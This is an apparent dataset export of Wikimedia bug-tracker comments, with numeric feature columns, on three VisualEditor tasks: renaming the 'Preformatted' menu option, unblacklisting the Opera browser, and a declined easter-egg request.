""Preformatted"" is HTML jargon which most of VisualEditor's target users will not understand, and it actually produces an effect (text with less formatting) which is unexpected if you don't know what it means beforehand. It should either be given a plain-language name so that people will expect the behavior, or removed.

I actually don't understand why this style effect is in the header-level pull-down when it is not a header-level. My preference is to remove it, since it is uncommon and mostly adding noise, but it should be renamed if kept.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1373247780,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_description,open,True,c1,3,False,False,,1,,0.0,0.0,0.0,1.0,2.5,3.5,3.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,1.5,0.5,6.5,5.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,2.5,4.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,13.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,3.0,5.0,6.0,4.0,2.5,4.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,5.0,2.0,0.0,1.0,0.0,6.0,0.0,3.0,1.5,0.0,0.5,0.5,0.5,0.0,3.8904109589041096,0.7602739726027397,"**Author:** CODE

**Description:**
""Preformatted"" is HTML jargon which most of VisualEditor's target users will not understand, and it actually produces an effect (text with less formatting) which is unexpected if you don't know what it means beforehand. It should either be given a plain-language name so that people will expect the behavior, or removed.

I actually don't understand why this style effect is in the header-level pull-down when it is not a header-level. My preference is to remove it, since it is uncommon and mostly adding noise, but it should be renamed if kept.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
242637,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","Also, a dictionary cite for usage of ""pre-formatted"": http://www.oed.com/view/Entry/149454?rskey=n6kMKv&result=2&isAdvanced=false#eid51449481 (not that it gives a definition or synonym we could use).",,,1394476377,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.310344827586207,0.9310344827586207,"Also, a dictionary cite for usage of ""pre-formatted"": URL (not that it gives a definition or synonym we could use)."
242633,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","(In reply to Dominic from comment #7)
> (In reply to James Forrester from comment #6)
> > (In reply to MZMcBride from comment #5)
> > 
> > I'm inclined to WONTFIX at this point…
> 
> I was under the impression that VisualEditor was about removing jargon

Sort-of.

Actually, it's about making it easy to edit content.


> and unneeded advanced features that clutter the user experience.

No.

In meeting the ""making it easy to edit content"" objective, we can't rope off some content that is considered ""too difficult"" to explain nicely.


> All three of the other commenters here agreed that ""Preformatted"" is jargon
> that should at least be renamed using plain language.

Sure, but no-one has actually suggested something they think is better yet (Chris suggested ""monospace"", but said he didn't like it, and I somewhat agree). Until such time as someone suggests a better term, this is unfixable.


> And it's not really even clear why we expect ""preformatted"" to be a common
> enough formatting choice among VisualEditor users that it even merits the
> inclusion in that menu.

That's a more interesting question, yes, as I said in comment 6. But that's not what other people's comments on this bug have been about.


> Your comment on WONTFIXing the report doesn't address the actual problem
> being raised.

Pick one. Either this bug is about removing ""preformatted"" as an option, in which case WONTFIX stands, or it's about something else (""come up with a different name""? ""have a secondary system for less-common formats""? something else?) and make it about that?



(In reply to MZMcBride from comment #8)
> Eh, this is a bad wontfix. My dictionary doesn't contain ""preformatted""; we
> can probably come up with a better term.

See above.


> Regarding the user interface, it's a bit confusing why there's a text
> formatting menu (paragraph text and headings) next to another text
> formatting menu (bold, underline, computer code, etc.). It might make sense
> to move the artist currently known as preformatted to the bottom of the
> latter menu as it's not very commonly needed (about as commonly needed as
> needing to write ""computer code"" using VisualEditor, surely).

It's formatting vs. styling; one operates on paragraphs, the other on selections (which can be smaller than a paragraph). I agree that it's confusing (yay HTML and MediaWiki), but I think it would be more confusing to have things in the same menu that do radically different things without distinction.",,,1394475244,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,True,,,36,,0.25,1.0,0.0,0.25,0.75,4.75,1.5,0.0,0.0,0.0,2.25,0.5,0.0,0.25,0.0,1.25,0.25,4.25,9.0,1.0,1.0,0.0,0.0,0.0,1.0,0.25,0.25,0.25,0.25,0.25,0.0,5.25,1.0,2.5,3.5,0.0,0.0,0.25,0.5,1.25,0.25,0.5,0.0,2.0,0.0,0.75,0.0,0.5,0.25,9.25,1.0,0.5,0.25,0.5,0.0,0.0,0.0,0.5,0.5,0.25,0.0,0.75,0.0,0.5,0.0,0.5,0.0,2.5,1.75,12.25,0.25,2.75,5.0,0.0,0.0,0.0,0.5,3.5,0.25,1.0,0.0,4.5,9.0,6.0,1.0,3.0,0.0,4.5,0.0,1.25,1.5,0.0,1.25,1.5,0.0,0.0,3.6067073170731705,0.6707317073170732,"(In reply to Dominic from comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sort-of.

Actually, it's about making it easy to edit content.


QUOTE

No.

In meeting the ""making it easy to edit content"" objective, we can't rope off some content that is considered ""too difficult"" to explain nicely.


QUOTE
QUOTE

Sure, but no-one has actually suggested something they think is better yet (Chris suggested ""monospace"", but said he didn't like it, and I somewhat agree). Until such time as someone suggests a better term, this is unfixable.


QUOTE
QUOTE
QUOTE

That's a more interesting question, yes, as I said in comment 6. But that's not what other people's comments on this bug have been about.


QUOTE
QUOTE

Pick one. Either this bug is about removing ""preformatted"" as an option, in which case WONTFIX stands, or it's about something else (""come up with a different name""? ""have a secondary system for less-common formats""? something else?) and make it about that?



(In reply to MZMcBride from comment #8)
QUOTE
QUOTE

See above.


QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It's formatting vs. styling; one operates on paragraphs, the other on selections (which can be smaller than a paragraph). I agree that it's confusing (yay HTML and MediaWiki), but I think it would be more confusing to have things in the same menu that do radically different things without distinction."
242629,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","Eh, this is a bad wontfix. My dictionary doesn't contain ""preformatted""; we can probably come up with a better term.

Regarding the user interface, it's a bit confusing why there's a text formatting menu (paragraph text and headings) next to another text formatting menu (bold, underline, computer code, etc.). It might make sense to move the artist currently known as preformatted to the bottom of the latter menu as it's not very commonly needed (about as commonly needed as needing to write ""computer code"" using VisualEditor, surely).",,,1393989052,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,1.0,0.0,1.5,3.5,0.5,0.0,0.0,0.0,3.5,0.5,0.0,0.0,0.5,1.0,1.0,8.0,8.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,3.0,2.0,2.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,3.5,0.5,0.5,6.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,3.5,8.5,1.0,0.0,3.0,0.0,3.5,0.0,0.5,2.0,0.0,2.5,0.5,0.0,2.0,3.973684210526316,0.7368421052631579,"Eh, this is a bad wontfix. My dictionary doesn't contain ""preformatted""; we can probably come up with a better term.

Regarding the user interface, it's a bit confusing why there's a text formatting menu (paragraph text and headings) next to another text formatting menu (bold, underline, computer code, etc.). It might make sense to move the artist currently known as preformatted to the bottom of the latter menu as it's not very commonly needed (about as commonly needed as needing to write ""computer code"" using VisualEditor, surely)."
242625,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","**mcdevitd** wrote:

(In reply to James Forrester from comment #6)
> (In reply to MZMcBride from comment #5)
> 
> I'm inclined to WONTFIX at this point…

I was under the impression that VisualEditor was about removing jargon and unneeded advanced features that clutter the user experience. All three of the other commenters here agreed that ""Preformatted"" is jargon that should at least be renamed using plain language. And it's not really even clear why we expect ""preformatted"" to be a common enough formatting choice among VisualEditor users that it even merits the inclusion in that menu.

Your comment on WONTFIXing the report doesn't address the actual problem being raised.",,,1393987799,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,35,,0.5,0.0,0.0,1.5,1.5,7.0,2.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.5,1.0,5.5,9.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,4.5,1.0,1.5,3.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,2.5,0.0,0.0,1.5,0.5,0.0,10.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,5.0,4.0,8.5,2.5,1.5,6.0,0.0,0.0,0.0,0.5,2.5,0.0,1.0,0.0,4.0,9.0,4.0,0.0,2.5,0.0,4.0,0.0,2.0,1.0,0.0,1.5,0.0,1.0,0.0,4.358333333333333,0.8,"**mcdevitd** wrote:

(In reply to James Forrester from comment #6)
QUOTE
QUOTE
QUOTE

I was under the impression that VisualEditor was about removing jargon and unneeded advanced features that clutter the user experience. All three of the other commenters here agreed that ""Preformatted"" is jargon that should at least be renamed using plain language. And it's not really even clear why we expect ""preformatted"" to be a common enough formatting choice among VisualEditor users that it even merits the inclusion in that menu.

Your comment on WONTFIXing the report doesn't address the actual problem being raised."
242621,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","(In reply to MZMcBride from comment #5)
> Should this bug report continue to be assigned?
> 
> I think a mock would help here.

A mock of what? Moving some (but not all) paragraph-level formats somewhere else seems like a really bad design. We'd be talking about pre-formatted, blockquote, and maybe other like poem and so-on being in one menu, and other tools that operate in the exact same way (e.g. don't apply to a selection). I'm inclined to WONTFIX at this point…",,,1393527782,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,True,,,34,,2.0,0.0,0.0,0.0,2.0,10.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,2.0,0.0,8.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,10.0,0.0,4.0,7.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,2.0,14.0,1.0,1.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,3.5,0.78125,"(In reply to MZMcBride from comment #5)
QUOTE
QUOTE
QUOTE

A mock of what? Moving some (but not all) paragraph-level formats somewhere else seems like a really bad design. We'd be talking about pre-formatted, blockquote, and maybe other like poem and so-on being in one menu, and other tools that operate in the exact same way (e.g. don't apply to a selection). I'm inclined to WONTFIX at this point…"
242615,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","Should this bug report continue to be assigned?

I think a mock would help here.",,,1392360410,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.7222222222222223,1.0,"Should this bug report continue to be assigned?

I think a mock would help here."
242608,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","Now that we have the ""more"" menu I don't think the button issue exists (to the same degree at least) as it did.

As the ""preformatted"" name I agree it doesn't make sense, as this isn't really what it does. I was going to suggest ""monospaced"" but it's more than that - it's monospaced and indented with a shaded background. However, <code> also produces monospace and a shaded background but that is different.",,,1379693519,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,3.0,7.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,4.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,6.0,3.0,6.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,9.0,1.0,0.0,6.0,0.0,9.0,0.0,1.0,2.0,0.0,1.0,2.0,1.0,2.0,3.557894736842105,0.6421052631578947,"Now that we have the ""more"" menu I don't think the button issue exists (to the same degree at least) as it did.

As the ""preformatted"" name I agree it doesn't make sense, as this isn't really what it does. I was going to suggest ""monospaced"" but it's more than that - it's monospaced and indented with a shaded background. However, <code> also produces monospace and a shaded background but that is different."
242601,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","**mcdevitd** wrote:

My confusion came from the fact that the user guide refers to it as the ""Headings pull-down menu"" (http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/User_guide#Getting_started:_the_VisualEditor_toolbar), and every other option in the menu is a heading level (or no level), not a style.

If there is somewhere else where styles like pre are going to go, or you intend to add other styles to this same menu, that's fine with me, but my original point about it being jargon still stands. (Though if you add more style options to the same menu, I think that is even more reason to remove pre as noise.)",,,1373524183,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,1,,0.5,0.0,0.0,0.0,0.5,6.5,1.5,0.0,1.0,1.5,2.0,0.0,0.0,0.0,0.5,3.0,0.0,3.5,12.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.5,1.5,2.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,12.5,1.5,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.5,3.5,3.0,2.5,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,12.0,2.5,0.0,1.0,0.0,6.0,0.0,0.5,1.0,1.0,1.0,1.5,0.0,0.0,3.403225806451613,0.7741935483870968,"**mcdevitd** wrote:

My confusion came from the fact that the user guide refers to it as the ""Headings pull-down menu"" (URL and every other option in the menu is a heading level (or no level), not a style.

If there is somewhere else where styles like pre are going to go, or you intend to add other styles to this same menu, that's fine with me, but my original point about it being jargon still stands. (Though if you add more style options to the same menu, I think that is even more reason to remove pre as noise.)"
242595,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","This isn't a ""header pull-down menu"", it's a text style menu. Also, having yet another control in the toolbar (for blockquote, pre and whatever else) doesn't feel great. :-(",,,1373504408,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.372093023255814,0.8372093023255814,"This isn't a ""header pull-down menu"", it's a text style menu. Also, having yet another control in the toolbar (for blockquote, pre and whatever else) doesn't feel great. :-("
242588,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","I agree.

It's strange that it's currently in the header menu. A separate menu for <blockquote> and <pre> may make sense.",,,1373282762,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.2903225806451615,0.8064516129032258,"I agree.

It's strange that it's currently in the header menu. A separate menu for <blockquote> and <pre> may make sense."
52813,VisualEditor: Remove Opera from blacklist,"I think we can (almost) remove Opera from the blacklist now, see blocking bug 36000. Opera < 12 should still probably be blacklisted, though, and < 10 should be blacklisted for sure (there's a bunch of people who insist that 9.64 was the ultimate version ever and stick to it).

It'd be cool if it could be added to the whitelist as well, but I guess that would be a promise to support it and you guys probably don't want to promise that ;)

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1373044680,1375135090.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-g36wsrlii3gd62hxtn2u,task_description,resolved,True,c1,3,True,False,True,0,,0.0,0.0,0.0,2.0,1.0,3.5,2.0,0.0,0.5,1.0,1.0,1.5,0.0,0.5,0.5,2.0,0.0,6.5,7.0,0.0,1.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,1.5,0.0,3.5,2.0,3.0,3.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,2.0,0.0,1.0,0.0,0.0,0.5,7.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,2.0,0.0,0.5,0.0,3.0,4.0,5.0,2.0,2.5,4.0,0.0,1.0,0.0,0.0,7.0,0.0,2.0,0.0,6.0,7.0,0.5,0.0,0.0,0.0,6.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,1.0,3.706896551724138,0.7672413793103448,"I think we can (almost) remove Opera from the blacklist now, see blocking bug 36000. Opera < 12 should still probably be blacklisted, though, and < 10 should be blacklisted for sure (there's a bunch of people who insist that 9.64 was the ultimate version ever and stick to it).

It'd be cool if it could be added to the whitelist as well, but I guess that would be a promise to support it and you guys probably don't want to promise that ;)

--------------------------
**Version**: unspecified
**Severity**: normal"
236622,VisualEditor: Remove Opera from blacklist,It was unblacklisted in the now-merged Ia80a6f53.,,,1375135090,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g36wsrlii3gd62hxtn2u,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3,1.0,It was unblacklisted in the now-merged Ia80a6f53.
236616,VisualEditor: Remove Opera from blacklist,"(In reply to comment #2)
> Note that the Presto engine-based Opera 12.x is being end-of-lined; the new
> Opera 15 is Chromium-based.

There is no release date or anything apart from a very early alpha of Opera 15 (which basically does nothing apart from showing pages). I'd say Opera 12 still has a bit of time before it.


> Is it worth worrying about Opera 12.x compatibility?

Still, objectively, maybe it's not. But I care personally. :)",,,1373052515,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g36wsrlii3gd62hxtn2u,task_subcomment,,True,c1,3,True,,,0,,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,3.0,0.0,14.0,10.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,3.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,15.0,0.0,3.0,6.0,0.0,1.0,0.0,1.0,3.0,0.0,4.0,0.0,6.0,10.0,3.0,0.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.4444444444444446,0.7638888888888888,"(In reply to comment #2)
QUOTE
QUOTE

There is no release date or anything apart from a very early alpha of Opera 15 (which basically does nothing apart from showing pages). I'd say Opera 12 still has a bit of time before it.


QUOTE

Still, objectively, maybe it's not. But I care personally. :)"
236607,VisualEditor: Remove Opera from blacklist,"Note that the Presto engine-based Opera 12.x is being end-of-lined; the new Opera 15 is Chromium-based.

Is it worth worrying about Opera 12.x compatibility?",,,1373046513,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-g36wsrlii3gd62hxtn2u,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,19.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,3.0,8.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.75,0.75,"Note that the Presto engine-based Opera 12.x is being end-of-lined; the new Opera 15 is Chromium-based.

Is it worth worrying about Opera 12.x compatibility?"
236599,VisualEditor: Remove Opera from blacklist,"(In reply to comment #0)
> I think we can (almost) remove Opera from the blacklist now, see blocking bug
> 36000. Opera < 12 should still probably be blacklisted, though, and < 10
> should
> be blacklisted for sure (there's a bunch of people who insist that 9.64 was
> the
> ultimate version ever and stick to it).
> 
> It'd be cool if it could be added to the whitelist as well, but I guess that
> would be a promise to support it and you guys probably don't want to promise
> that ;)

Very happy to add to the whitelist if you're sure that everything works perfectly. It's not a state a browser can only reach if supported by WMF, if you want to commit to doing that. The comprehensive testing is quite a high bar, however - does Opera now cope with everything at mediawiki.org/wiki/VisualEditor/Basic_example_worksheet ?",,,1373046107,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g36wsrlii3gd62hxtn2u,task_subcomment,,True,c1,3,True,,,0,,0.0,2.0,2.0,0.0,1.0,4.0,0.0,0.0,0.0,3.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,15.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,18.0,4.0,0.0,8.0,0.0,0.0,0.0,1.0,6.0,0.0,2.0,0.0,3.0,15.0,11.0,1.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.101123595505618,0.651685393258427,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Very happy to add to the whitelist if you're sure that everything works perfectly. It's not a state a browser can only reach if supported by WMF, if you want to commit to doing that. The comprehensive testing is quite a high bar, however - does Opera now cope with everything at mediawiki.org/wiki/VisualEditor/Basic_example_worksheet ?"
52804,VisualEditor: VisualEditor needs easter eggs,"Because.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1373035320,1393642162.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-eulhe75w7cy7if64iutj,task_description,declined,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.55,"Because.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
236119,VisualEditor: VisualEditor needs easter eggs,"Call me boring, but… :-)",,,1393642162,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,2.857142857142857,1.0,"Call me boring, but… :-)"
236112,VisualEditor: VisualEditor needs easter eggs,"(In reply to comment #4)
> Articles mysteriously being littered with ♙ and ☃ doesn't count? :-)

